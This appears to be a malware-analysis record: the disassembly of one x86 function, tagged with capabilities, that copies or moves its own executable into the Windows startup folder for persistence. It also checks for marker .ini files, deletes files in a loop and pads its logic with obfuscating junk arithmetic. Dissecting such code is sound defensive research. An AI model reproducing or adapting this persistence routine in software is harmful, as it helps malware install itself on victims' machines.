Function at 0x40e790
Capabilities:
Copy file
Delete file
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
sub esp, 0x308
mov eax, dword [0x460640]
xor eax, esp
mov dword [esp + 0x304], eax
push ebx
push ebp
push esi
push edi
mov ecx, dword [0x45ebe4]
mov eax, 0x4be59407
imul ecx
sar edx, 0x1c
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov edx, dword [0x45ebc8]
imul edx, edx, 0x2d80f713
mov esi, dword [0x45ebcc]
mov eax, esi
imul eax, eax, 0x5885071a
add ebx, eax
add ebx, edx
mov eax, 0x273a7861
imul esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov edi, dword [0x45ebd0]
mov eax, 0x9c5fe915
imul edi
add edx, edi
sar edx, 0x1d
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, dword [0x45ebc4]
mov edx, ebx
imul edx, edx, 0xbd0f4c0
add eax, edx
mov dword [0x45ebdc], eax
mov ebp, dword [0x45ebd8]
mov eax, 0x4be59407
imul ebp, ebp, 0x35f7d09c
imul esi
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0xc09944a7
imul ebx
add edx, ebx
sar edx, 0x1c
mov ebx, edx
sub esi, ebp
add esi, edx
mov edx, dword [0x45ebd4]
imul edx, edx, 0x3e888aa2
shr ebx, 0x1f
add ebx, esi
add ebx, edx
mov eax, 0x2e45b009
imul edi
sar edx, 0x1b
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x9c5fe915
imul ecx
add edx, ecx
sar edx, 0x1d
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
push 0
mov dword [0x45ebe4], ebx
push str.C:Program_FilesMicrosoftSeaPort1.ini
call fcn.00431fdd
add esp, 8
cmp eax, 0xffffffff
je 0x40ed9c
push 0
push str.C:Program_FilesWindows_NTAccessOries1.ini
call fcn.00431fdd
add esp, 8
cmp eax, 0xffffffff
je 0x40ed9c
mov ecx, dword [0x45ebe0]
mov edx, dword [0x45ebdc]
mov esi, ecx
imul esi, esi, 0x4d0e971
mov eax, 0x2d01dbc7
imul edx
sar edx, 0x1b
add esi, edx
mov edi, edx
mov eax, 0x273a7861
imul ecx
mov ecx, dword [0x45ebd0]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
shr edi, 0x1f
add edi, esi
sub edi, eax
mov eax, 0x5e0c18e7
imul ecx
mov ecx, dword [0x45ebd8]
imul ecx, ecx, 0xbd0f4c0
sar edx, 0x1b
mov esi, edx
add edi, edx
shr esi, 0x1f
add esi, edi
add esi, ecx
mov ecx, dword [0x45ebe4]
mov eax, 0x56a9121b
imul ecx
sar edx, 0x1a
mov eax, edx
push 0x104
lea ecx, [esp + 0x218]
shr eax, 0x1f
add esi, edx
push ecx
add eax, esi
push 0
mov dword [0x45ebc8], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x214]
push 0x5c
push edx
call fcn.00432a40
mov esi, eax
push str..exe
lea eax, [esp + 0x220]
push eax
lea ecx, [esp + 0x24]
push str._s_s
push ecx
inc esi
call fcn.00431c41
mov edi, dword [0x45ebd0]
mov ecx, dword [0x45ebe8]
mov eax, 0xc09944a7
imul edi
add edx, edi
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ebe4]
mov ebx, ecx
imul edx, edx, 0xd0d40b9
imul ebx, ebx, 0x31136cfe
sub ebx, eax
add ebx, edx
mov eax, 0x9c5fe915
imul ecx
add edx, ecx
mov ecx, dword [0x45ebc4]
sar edx, 0x1d
mov eax, edx
shr eax, 0x1f
add eax, edx
add esp, 0x18
sub ebx, eax
imul ecx, ecx, 0x346312ef
mov ebp, dword [0x45ebe0]
sub ebx, ecx
mov ecx, dword [0x45ebd8]
mov eax, 0x56a9121b
imul ecx
sar edx, 0x1a
mov eax, edx
push 0
shr eax, 0x1f
add eax, edx
push 0x18
lea edx, [esp + 0x11c]
add ebx, ebp
push edx
lea ecx, [eax + ebx - 0xbd0f4c0]
push 0
mov dword [0x45ebd0], ecx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x114]
lea ecx, [eax + 1]
jmp 0x40ea30
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40ea30
sub eax, ecx
push esi
lea eax, [esp + eax + 0x118]
push 0x44f274
push eax
call fcn.00431c41
mov ecx, dword [0x45ebc8]
mov eax, 0x4be59407
imul ecx
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ebc4]
mov esi, ecx
imul esi, esi, 0x35f7d09c
sub esi, eax
mov eax, 0x53766c07
imul edx
sar edx, 0x1c
add esi, edx
mov edi, edx
shr edi, 0x1f
add edi, esi
mov esi, dword [0x45ebe0]
mov ebx, dword [0x45ebe8]
mov eax, 0x83008757
imul esi
add edx, esi
mov esi, dword [0x45ebcc]
sar edx, 0x1c
add edi, edx
mov ebp, edx
mov edx, esi
imul edx, edx, 0x1f444551
shr ebp, 0x1f
add ebp, edi
sub ebp, edx
mov eax, 0x5e0c18e7
imul ebx
sar edx, 0x1b
add ebp, edx
mov eax, edx
mov edx, ebx
imul edx, edx, 0xbd0f4c0
shr eax, 0x1f
add eax, ebp
sub eax, edx
add esp, 0xc
mov dword [0x45ebd8], eax
xor ebp, ebp
jmp 0x40eb00
mov ecx, dword [0x45ebc8]
mov esi, dword [0x45ebcc]
mov eax, dword [0x45ebd8]
mov ebx, dword [0x45ebe8]
jmp 0x40eb00
mov edi, dword [0x45ebd0]
imul eax, eax, 0x2d80f713
imul ecx, ecx, 0x31136cfe
mov edx, edi
imul esi, esi, 0xbd0f4c0
sub edx, dword [0x45ebd4]
push 0
imul edx, edx, 0x15445b42
add edx, ecx
add edx, eax
mov ecx, edx
mov eax, 0xc09944a7
imul edi
add edx, edi
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x2e45b009
imul ebx
sar edx, 0x1b
mov eax, edx
shr eax, 0x1f
add ecx, edx
add eax, ecx
lea ecx, [esp + 0x18]
sub eax, esi
push ecx
mov dword [0x45ebe0], eax
call fcn.00431fdd
add esp, 8
cmp eax, 0xffffffff
je 0x40eb84
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
inc ebp
cmp ebp, 0x64
jl 0x40eae0
mov edi, dword [0x45ebc8]
mov esi, dword [0x45ebd8]
mov eax, 0x4be59407
imul edi
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x2d01dbc7
imul esi
sar edx, 0x1b
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
mov ecx, dword [0x45ebdc]
mov eax, 0x83008757
imul ecx
add edx, ecx
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0x4bbe8b58
sub ebx, eax
mov eax, dword [0x45ebd0]
add ebx, edx
imul eax, eax, 0x15c6babc
mov edx, dword [0x45ebd4]
imul edx, edx, 0xbd0f4c0
add ebx, eax
sub ebx, edx
mov dword [0x45ebe8], ebx
mov ebx, dword [esp + 0x31c]
test ebx, ebx
je 0x40ec10
cmp ebx, 2
jne 0x40ecdf
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 4
lea eax, [esp + 0x118]
push eax
lea ecx, [esp + 0x1c]
push ecx
call esi
test eax, eax
jne 0x40eccd
mov ecx, dword [0x45ebd4]
mov eax, 0x4be59407
imul ecx
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x2e45b009
imul ecx
sar edx, 0x1b
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45ebe0]
imul edx, edx, 0x15c6babc
sub edi, ecx
mov ecx, dword [0x45ebd8]
sub edi, edx
mov eax, 0x9c5fe915
imul ecx
add edx, ecx
mov ecx, dword [0x45ebcc]
sar edx, 0x1d
mov ebx, edx
add edi, edx
mov eax, 0x9c5fe915
imul ecx
add edx, ecx
mov ecx, dword [0x45ebdc]
imul ecx, ecx, 0x3e20adb7
sar edx, 0x1d
shr ebx, 0x1f
mov eax, edx
add ebx, edi
shr eax, 0x1f
add ebx, edx
add eax, ebx
add eax, ecx
push 6
lea edx, [esp + 0x118]
mov dword [0x45ebc4], eax
push edx
lea eax, [esp + 0x1c]
push eax
call esi
mov eax, 0xfffffffe
jmp 0x40ed9f
mov ecx, dword [0x45ebdc]
mov edi, dword [0x45ebc8]
mov esi, dword [0x45ebd8]
mov ebp, dword [0x45ebc4]
mov eax, 0xc09944a7
imul ebp, ebp, 0x31136cfe
imul ecx
add edx, ecx
sar edx, 0x1c
add ebp, edx
mov eax, edx
shr eax, 0x1f
add eax, ebp
mov ebp, eax
mov eax, 0x273a7861
imul dword [0x45ebd0]
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ebp, ecx
mov ecx, dword [0x45ebe0]
mov eax, 0x2e45b009
imul ecx
sar edx, 0x1b
add ebp, edx
mov ecx, edx
mov eax, 0x9c5fe915
imul esi
add edx, esi
sar edx, 0x1d
mov eax, edx
shr ecx, 0x1f
shr eax, 0x1f
add eax, edx
add ecx, ebp
sub ecx, eax
mov eax, 0x9c5fe915
imul edi
add edx, edi
sar edx, 0x1d
add ecx, edx
mov esi, edx
mov eax, 0x56a9121b
imul dword [0x45ebd4]
shr esi, 0x1f
add esi, ecx
sar edx, 0x1a
mov ecx, edx
shr ecx, 0x1f
add esi, edx
add ecx, esi
cmp ebx, 1
mov dword [0x45ebcc], ecx
je 0x40ed83
cmp ebx, 2
jne 0x40ed98
push 0
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
xor eax, eax
jmp 0x40ed9f
or eax, 0xffffffff
mov ecx, dword [esp + 0x314]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00431a6d
add esp, 0x308
ret